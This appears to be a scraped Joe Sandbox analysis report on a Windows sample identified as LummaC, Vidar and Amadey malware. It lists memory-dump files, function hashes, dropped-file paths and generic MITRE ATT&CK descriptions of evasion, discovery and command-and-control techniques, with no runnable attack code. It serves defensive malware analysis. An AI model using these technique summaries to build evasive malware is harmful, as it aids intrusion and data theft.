Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: eM
API String ID: 1078844751-4107679315
Opcode ID: d88fa664d24ff2a4e6d1caddad2b5937042ee83c0f1a4f334e9c23859ad39311
Instruction ID: fbe94f7bfb3eb71b3bea6ab356ca6e786db6ce290253a981ec0702e20ad74e7c
Opcode Fuzzy Hash: d88fa664d24ff2a4e6d1caddad2b5937042ee83c0f1a4f334e9c23859ad39311
Instruction Fuzzy Hash: B1F0DA3A501129EBCF525F90EC05EAE7F66EF18760B048015FD0956230D732AC61EFD5

Function 004DB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 004DB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004DB961

Strings

pContext, xrefs: 004DB959

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: f2659a8304e3e8d78c6ddd38b75248808aec14c5dd9a89c3f47fd8a351e374a4
Instruction ID: 250c4233568150c0ead548300203e98a191c0930b5434c114f9fb6a309298a62
Opcode Fuzzy Hash: f2659a8304e3e8d78c6ddd38b75248808aec14c5dd9a89c3f47fd8a351e374a4
Instruction Fuzzy Hash: 04E02B39B001049BCB00F766D899C5DBB78AF80714700401FE511A3391DB74AD04C9D4

Function 004D34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004D34FC

Strings

version, xrefs: 004D34E1
pScheduler, xrefs: 004D34F4

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: b4218f2d7544148aaac94d59a56fbcff9c6c5f0aa3c97d47d2c5f6b26215fe3b
Instruction ID: 3381f02895cc8897dcff8917aabc0fd8ba34777cd58c84d32ba503c673ee2c71
Opcode Fuzzy Hash: b4218f2d7544148aaac94d59a56fbcff9c6c5f0aa3c97d47d2c5f6b26215fe3b
Instruction Fuzzy Hash: 65E08034440608F7CB15FF55D85BBCD7754AB1070AF14C11BB851112D19BBC5788C98B

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\343658ec78.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre